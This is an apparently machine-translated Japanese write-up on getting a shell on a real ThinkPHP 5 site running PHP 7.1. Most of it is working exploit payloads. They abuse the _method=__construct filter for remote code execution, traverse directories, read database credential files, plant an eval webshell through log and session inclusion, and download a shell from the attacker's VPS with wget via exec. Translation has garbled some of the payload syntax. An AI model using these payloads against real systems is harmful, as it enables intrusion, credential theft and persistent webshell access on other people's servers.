0x00はじめに
以前にTP5と接触していたサイトが少なかったので、RCEの脆弱性のゲッシェルを使用する方法しか知っていませんでした。 PHPバージョンの制限により、カード発行プラットフォームの最近の普及では、RCEのペイロードを使用してシェルを直接取得することは不可能です。そのため、Webサイトと組み合わせて、TP5+PHP7.1環境でできるだけ多くのGetShellメソッドをテストします。
0x02テキスト
サイトを入手したら、次のようにホームページにアクセスしてください
テスト中、それがThinkPHPサイトであることがわかりました、そして、エラーは次のようにのように報告されました
しかし、特定のバージョンが表示されないので、RCEがあるかどうかはわかりませんので、EXPで試してみます
_method=__ constructmethod=getFilter=call_user_funcget []=phpinfo
実行が成功し、disable_function によって多くの機能が無効になっていることがわかりました
一般に、PHPバージョンが7.1未満の場合は、EXPを使用してシェルを書き込むだけです。この方法は、次のExpを直接使用してシェルを書き込むことです。
s=file_put_contents( 'test.php'、 '?php phpinfo();')_ method=__ constructmethod=postfilter []=assert
ただし、ASSTはこのEXPで使用されており、上記はPHPバージョンが7.1.33であることを示しています。このバージョンはアサートを使用できなくなるため、この方法はここでは使用できません。
上記の方法2はシェルを書き込むことはできませんが、phpinfoは実行されるため、RCEが存在します。そこで、ファイルを読んでデータベースアカウントのパスワードを読み取り、phpmyAdminを見つけてから、データベースを介してシェルを書き込むことができると思いました。
最初にPHPINFOの情報を介してWebサイトルートディレクトリを見つけ、次にScandir関数を使用してディレクトリをトラバースし、データベース構成ファイルを見つけます
_method=__ constructfilter []=scandirfilter []=var_dumpmethod=getGet []=path
次に、highlight_file関数を介してファイルを読み取ります
_method=__ constructfilter []=highlight_filemethod=getGet []=ファイルパスを読み取ります
データベース情報を取得した後、私はphpmyadminが存在するかどうかを探しましたが、最終的にそうではないことがわかりました。そのため、この方法も失敗しました。
フォーラムでTP5のゲッシェル法を探して、多くのマスターは、ログやセッションを使用してメソッドを含めることができると言っていましたが、以前にそれらにさらされたことがなく、特定のものを知らなかったので、私はそれを検索して試しました。
方法3試行ログには含まれます
最初にシェルを書き、ログを入力します
_method=__ constructmethod=getFilter []=call_user_funcserver []=phpinfoget []=?php eval($ _ post ['c'])?
次に、ログ包含によって逃げます
_method=__ constructMethod=getFilter []=Think \ __ include_fileserver []=phpinfoget []=./data/runtime/log/202110/17.logc=phpinfo();
失敗し、ログに含まれる方法は使用できません。
方法4セッションに含まれるメソッドを使用して、ゲルシェルを試してみてください
まず、セッションセッションを設定し、テンテンテントロイの木馬に渡す
_method=__ constructfilter []=think \ session3:setmethod=getGet []=?PHP eval($ _ post ['c'])?server []=1
次に、ファイルを直接使用してセッションファイルを含めます。 TP5のセッションファイルは通常/TMP未満で、ファイル名はSESSION_SESSIONIDです(このセッションはCookieにあります)
_method=__ constructMethod=getFilter []=Think \ __ include_fileserver []=phpinfoget []=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoic=phpinfo();
正常に実行され、Ant Sword を介して接続します
成功GETSHELL
WWW許可
メソッド5にシェルを手に入れましたが、逃げることができる他の方法があるかどうかをもう一度試しました。 execがdisable_functionで無効になっていないため、記事を見ました。その後、execを使用してVPSからシェルファイルをダウンロードしました。
そこで、disable_functionの無効な機能を注意深く調べました。偶然、私は幹部も無効になっていないことがわかったので、私はそれを試してみます
最初にVPSでtest.phpを作成し、pythonでポートを開きます
python -m simplehttpserver 8888
VPSからファイルをダウンロードします
s=wget vps/test.php_method=__ constructmethod=getFilter []=exec
ターゲットマシンに正常にダウンロードされました
0x03要約
1。ターゲットWebサイトパスに間違ったパスを入力すると、WebサイトのエラーページがThinkPhpであり、バージョンは表示されません。
2. TP5.xのRCE POCを入力して、PHPINFOが成功し、Disabled_Functionが多くの関数を無効にし、PHPバージョンは7.1.xバージョンであることを示します
http://www.xxx.com/index.php?s=captcha
Post:
_method=__ constructmethod=getFilter=call_user_funcget []=phpinfo
3.次の方法では、シェルを直接取得できます(TP5.x+PHP7.1.x)
方法1 :( PHP要件はPHP7.1よりも低い)
http://www.xxx.com/index.php?s=captcha
Post:
s=file_put_contents( 'test.php'、 '?php phpinfo();')_ method=__ constructmethod=postfilter []=assert(
方法2:(TP5.x+php7.1.x)
まず、PHPINFOの情報を介してWebサイトルートディレクトリを見つけてから、Scandir関数を使用してディレクトリをトラバースし、データベース構成ファイルを見つけます
_method=__ constructmethod=getfilter=call_user_funcget []=phpinfo //ウェブサイトディレクトリは/www/wwwroot/idj/、およびディレクトリトラバーサルをWebサイト構成ルートディレクトリ(/www/wwwroot/wwwroot/conf)から取得します。
_method=__ constructfilter []=scandirfilter []=var_dumpmethod=getget []=/www/wwwroot/
_method=__ constructfilter []=scandirfilter []=var_dumpmethod=getget []=/www/wwwroot/idj/
_method=__ constructfilter []=scandirfilter []=var_dumpmethod=getGet []=/www/wwwroot/idj/data/
_method=__ constructfilter []=scandirfilter []=var_dumpmethod=getGet []=/www/wwwroot/idj/data/conf
次に、highlight_file関数を介してファイルを読み取り、データベースの接続ユーザー名とパスワードを読み取ります
_method=__ constructfilter []=highlight_filemethod=getGet []=/www/wwwroot/data/data/conf/database.php
ウェブサイトにphpmyAdminがあることがわかった場合は、データベースユーザーとパスワードを介して入力して、mysqlログを介してシェルに書き込むことができます
方法3:(TP5.x+php7.1.x、ログには含まれています)
最初にシェルを書き、ログを入力します
_method=__ constructmethod=getFilter []=call_user_funcserver []=phpinfoget []=?php eval($ _ post ['c'])?
次に、ログ包含によって逃げます
_method=__ constructMethod=getFilter []=Think \ __ include_fileserver []=phpinfoget []=./data/runtime/log/202110/17.logc=phpinfo();
方法4:(TP5.x + php7.1.x、セッションに含まれる方法を使用してください。
まず、セッションセッションを設定し、テンテンテントロイの木馬に渡す
_method=__ constructfilter []=think \ session3:setmethod=getGet []=?PHP eval($ _ post ['c'])?server []=1
次に、ファイルを直接使用してセッションファイルを含めます。 TP5のセッションファイルは通常/TMP未満で、ファイル名はSESSION_SESSIONIDです(このセッションはCookieにあります)
_method=__ constructMethod=getFilter []=Think \ __ include_fileserver []=phpinfoget []=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoic=phpinfo();
方法4:(TP5.X+PHP7.1.x、無効なexec関数はdisable_functionで使用されません)
最初にVPSでtest.phpを作成し、pythonでポートを開きます
python -m simplehttpserver 8888
VPSからファイルをダウンロードします
s=wget http://www.vps.com/test.php_method=__constructmethod=getfilter []=exec
オリジナルリンク:https://xz.aliyun.com/t/10397